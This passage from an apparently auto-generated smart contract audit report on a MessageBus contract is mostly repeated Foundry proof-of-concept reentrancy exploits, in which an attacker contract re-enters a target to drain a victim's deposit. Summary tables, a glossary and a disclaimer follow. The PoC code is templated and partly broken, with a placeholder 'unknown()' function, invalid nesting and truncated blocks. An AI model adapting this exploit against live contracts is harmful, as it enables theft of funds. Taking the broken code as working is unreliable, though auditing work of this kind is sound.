    // Setup accounts
    attacker = makeAddr("attacker");
    victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 10 ether);

    // Deploy target contract
    // target = IVulnerable(deployCode("flattened_MessageBus.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost

```



```

funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    uint256 count = attackerContract.reentrancyCount();
    console.log("Reentrancy count:", count);

    assertGt(count, 1, "Should have re-entered at least once");
}
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("unknown()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("unknown()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {

```

```

        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

## B.22. F-022 - reentrancy-state-change

**Severity: HIGH | Category:** reentrancy-state-change

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title flattened_MessageBus Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Changing state after an external call can lead to re-entrancy
 attacks.Use the checks-effects-interactions pattern to avoid this issue.
 * Severity: High
 * Target Function: unknown
 * Generated: 2026-09-13 20:56
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract flattened_MessageBusReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function unknown() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);
    }
}

```

```

    // Deploy target contract
    // target = IVulnerable(deployCode("flattened_MessageBus.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

```

```

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }
}

```

### B.23. F-023 - reentrancy-state-change

**Severity: HIGH** | **Category:** reentrancy-state-change

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title flattened_MessageBus Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Changing state after an external call can lead to re-entrancy
 attacks. Use the checks-effects-interactions pattern to avoid this issue.
 * Severity: High
 * Target Function: unknown
 * Generated: 2026-09-13 20:56
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract flattened_MessageBusReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function unknown() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
}

```

```

address public victim;

// Initial balances
uint256 constant VICTIM_DEPOSIT = 10 ether;
uint256 constant ATTACKER_DEPOSIT = 1 ether;

function setUp() public {
    // Setup accounts
    attacker = makeAddr("attacker");
    victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 10 ether);

    // Deploy target contract
    // target = IVulnerable(deployCode("flattened_MessageBus.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost

```

```

funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    uint256 count = attackerContract.reentrancyCount();
    console.log("Reentrancy count:", count);

    assertGt(count, 1, "Should have re-entered at least once");
}
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("unknown()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("unknown()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {

```

```

    require(msg.sender == owner, "Not owner");
    payable(owner).transfer(address(this).balance);
  }
}

```

## Appendix C: Files Analyzed

| # | FILE PATH                | LINES | FUNCTIONS | FINDINGS |
|---|--------------------------|-------|-----------|----------|
| 1 | flattened_MessageBus.sol | 822   | 44        | 231      |

## Appendix D: SWC Registry Compliance

| SWC ID  | TITLE                           | STATUS    | FINDING(S)                                                                                                                                  |
|---------|---------------------------------|-----------|---------------------------------------------------------------------------------------------------------------------------------------------|
| SWC-101 | Integer Overflow and Underflow  | Found     | F1, F2, F3, F4, F5                                                                                                                          |
| SWC-102 | Outdated Compiler Version       | Not Found | --                                                                                                                                          |
| SWC-103 | Floating Pragma                 | Found     | F1                                                                                                                                          |
| SWC-104 | Unchecked Call Return Value     | Found     | F1, F2, F3, F4, F5                                                                                                                          |
| SWC-105 | Unprotected Ether Withdrawal    | Found     | F1, F2, F3, F4, F5, F6, F7, F8, F9, F10, F11, F12, F13, F14, F15, F16, F17, F18, F19, F20, F21, F22, F23, F24, F25, F26, F27, F28, F29, F30 |
| SWC-107 | Reentrancy                      | Found     | F1, F2, F3, F4, F5, F6, F7, F8, F9, F10, F11, F12, F13, F14, F15, F16                                                                       |
| SWC-109 | Uninitialized Storage Pointer   | Found     | F1, F2, F3                                                                                                                                  |
| SWC-113 | DoS with Failed Call            | Found     | F1, F2, F3, F4, F5, F6, F7                                                                                                                  |
| SWC-115 | Authorization through tx.origin | Not Found | --                                                                                                                                          |

## Appendix E: OWASP Smart Contract Top 10

| RANK | CATEGORY                       | STATUS | FINDINGS |
|------|--------------------------------|--------|----------|
| SC01 | Reentrancy Attacks             |        | 16       |
| SC02 | Access Control Vulnerabilities |        | 30       |
| SC03 | Arithmetic Issues              |        | 16       |
| SC04 | Unchecked Return Values        |        | 9        |
| SC05 | Denial of Service              |        | 7        |
| SC06 | Bad Randomness                 |        | 4        |
| SC07 | Front-Running                  |        | 5        |

## Appendix F: Glossary

| TERM                       | DEFINITION                                                                                                                    |
|----------------------------|-------------------------------------------------------------------------------------------------------------------------------|
| <b>Reentrancy</b>          | A vulnerability where an external call allows execution to re-enter the calling contract before the first execution completes |
| <b>Integer Overflow</b>    | When an arithmetic operation results in a value larger than can be stored in the variable                                     |
| <b>Front-running</b>       | Exploiting knowledge of pending transactions to gain an advantage                                                             |
| <b>Flash Loan Attack</b>   | Using uncollateralized loans within a single transaction to manipulate protocols                                              |
| <b>Oracle Manipulation</b> | Attacking price feeds or external data sources to influence contract behavior                                                 |
| <b>Access Control</b>      | Mechanisms that restrict who can execute sensitive functions                                                                  |

## Appendix G: Audit Trail

| EVENT              | TIMESTAMP           | HASH |
|--------------------|---------------------|------|
| Contract Snapshot  | 2026-09-13          | N/A  |
| Analysis Started   | 2026-09-13          | --   |
| Analysis Completed | 2026-09-13 20:48:34 | --   |



| EVENT            | TIMESTAMP           | HASH |
|------------------|---------------------|------|
| Report Generated | 2026-09-13 20:48:34 | --   |
| Report Hash      | 2026-09-13 20:48:34 | N/A  |

# Disclaimer

This audit report is provided on an "AS IS" basis without warranties of any kind, whether express or implied. The findings and recommendations represent the auditor's professional opinion based on the scope and methodology described.

**Limitations:** - This audit does not guarantee the absence of vulnerabilities - Smart contract security is an evolving field - New vulnerabilities may be discovered post-audit - Economic and governance attacks may not be fully modeled - The client is responsible for implementing and testing fixes

**Model-Assisted Interpretation Disclosure:** Sections labeled as model-assisted were produced using large language models (mistral:latest). These interpretations are supplementary and must be reviewed by qualified security professionals before operational use.

\*\*Powered by [MIESC](https://github.com/fboiero/MIESC)\*\* Multi-layer Intelligent Evaluation for Smart Contracts \*Report generated: 2026-09-13 20:48:34\* \*Report Version: 1.0\*